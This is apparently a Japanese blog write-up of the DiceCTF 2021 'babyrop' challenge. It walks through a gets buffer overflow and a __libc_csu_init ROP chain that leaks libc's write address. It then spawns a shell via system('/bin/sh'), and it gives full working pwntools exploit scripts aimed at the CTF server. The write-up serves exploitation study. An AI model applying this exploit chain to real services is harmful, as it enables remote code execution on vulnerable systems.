🤖

DiceCTF 2021 - babyrop

2021/02/15に公開

問題概要

"FizzBuzz101: Who wants to write a ret2libc"
nc dicec.tf 31924
Downloads
babyrop

ncコマンドでアクセスしてみると、Your name:と入力を求められるだけのシンプルなプログラムです。

解説

概要把握

取り敢えず初手無思考checksec。

$ checksec --file=./babyrop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   68 Symbols     No       0      ./babyrop

Partial RELRO/No Canary/No PIEです。シンプルにret2libcをすればよさそうです。

適当なツール(今回はghidra)で可視化し、プログラムの把握を行います。

  • 64bit
  • 入力は長さ0x40の箇所に任意長読み込みのgets(つまりpaddingは長さ0x48)

セキュリティ機構はあまり考えなくてもよい(くらいに何もない)ので必要な流れは以下の通りです。

  1. libc内のwrite関数の位置を取得する
  2. libc database searchを用いてlibcの特定、libc base addrの特定を行い、system("/bin/sh")に必要なsystem"/bin/sh"の位置を調べる
  3. payloadを投げる

libc leak

write関数は引数を3つ取ります。そのため、rdirsirdxの3つのレジスタに任意の値を入れられることが求められますが、使えそうなrop gadgetについてrp++を利用して検索すると、

0x004011d3: pop rdi ; ret  ;  (1 found)
0x004011d1: pop rsi ; pop r15 ; ret  ;  (1 found)

rdirsiについては見つかります。が、rdxがありません。ごく普通のropは難しそうです。ところで、関数の引数が3つの場合においては__libc_csu_initを用いた攻撃が有効であることがあります。詳しくはももテクの記事にありますが、

  1. __libc_csu_initの適切な箇所に飛んでスタックからレジスターの値を埋める
  2. 同じ関数内の1の少し上の部分にもう一度飛んで関数呼び出しをする
  3. 自然と1に戻るので任意回3引数の関数を自由にスタックから呼び出せる

というものです。覚えておいて損は無いかと。

ということで、write@GLIBCを出力してもらうためのコードがこちら。

leak.py
from pwn import *

e = ELF("./babyrop")
rop = ROP(e)
rop.raw(0)

rop = ROP(e)

payload = b"A" * (0x40 + 8)
payload += p64(0x4011ca) # __libc_csu_init + 90 : pop rbx
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1 (for no loop)
payload += p64(1) # r12 (stdout)
payload += p64(e.got["gets"]) # r13 (for leak addr)
payload += p64(8) # r14 (output bytes)
payload += p64(e.got["write"]) # r15 (call addr)
payload += p64(0x4011b0) # __libc_csu_init + 64 : mov rdx, r14

io = remote("dicec.tf", 31924)
# io = process(["./babyrop"])
print(io.recvuntil("Your name: ") + payload)
io.sendline(payload)

print(io.recv(8))
io.interactive()

leakして出てきたアドレス0x00007f47d9a091d0というアドレスをlibc database searchで検索します。

候補として3つ程出てきたのですが、gets関数についてもアドレスの絞り込みを行ったり、総当たりで試すことでlibc6_2.31-0ubuntu9.1_amd64.soっぽいです。ここまで分かったら[leakしたwrite@GOTのアドレス]-[libc内におけるwriteのオフセット]を計算することでlibc base addrが計算できます。

ret2libcをする

この時点で

  • libc base addr
  • libc内のsystem関数の位置
  • libc内の"/bin/sh"の位置

が分かっています。そのため、上のpayloadに加えてsystem("/bin/sh")を実行するROPをすればOKです。今回は

  1. write@GOTのリーク、libc base addrの算出
  2. もう一度mainに戻ってgetsを呼び出し
  3. system("/bin/sh")の実行

という3段に分けました。

solve.py
from pwn import *

e = ELF("./babyrop")
libc = ELF("./libc6_2.31-0ubuntu9.1_amd64.so")

payload = b''.join([b"A" * (0x40 + 8),
    p64(0x4011c6), # __libc_csu_init + 86 : add rsp, 0x8
    p64(0), # anything may be ok
    p64(0), # rbx = 0
    p64(1), # rbp = 1 (for no loop)
    p64(1), # r12 (edi as stdout)
    p64(e.got["write"]), # r13 (for leak addr)
    p64(8), # r14 (output bytes)
    p64(e.got["write"]), # r15 (call addr)
    p64(0x4011b0), # __libc_csu_init + 64 : mov rdx, r14
    b"deadbeef" * 7, # anything will do
    p64(e.symbols["main"]) # repeat main process
])

io = remote("dicec.tf", 31924)
# io = process(["./babyrop"])
io.recvuntil("Your name: ")
io.sendline(payload)

libc.address = (u64(io.recv(8)) - libc.symbols["write"])
print("libc base is:", hex(libc.address))

payload = b"".join([b"A" * 0x48,
    p64(0x4011d3), # pop rdi; ret
    p64(next(libc.search(b"/bin/sh"))),
    p64(libc.symbols["system"])
])

io.recvuntil("Your name: ")
io.sendline(payload)

io.interactive()

2回目のpayloadは非常にシンプルなのですが、1回目のpayloadは先程のコードから若干弄っています。0x4011caから0x4011c6に飛ぶ場所を1命令分変えているのですが、これが無いと2回目のROPが上手く動作していないようです。ローカルで動かして原因把握するのは宿題にさせてください。

Discussion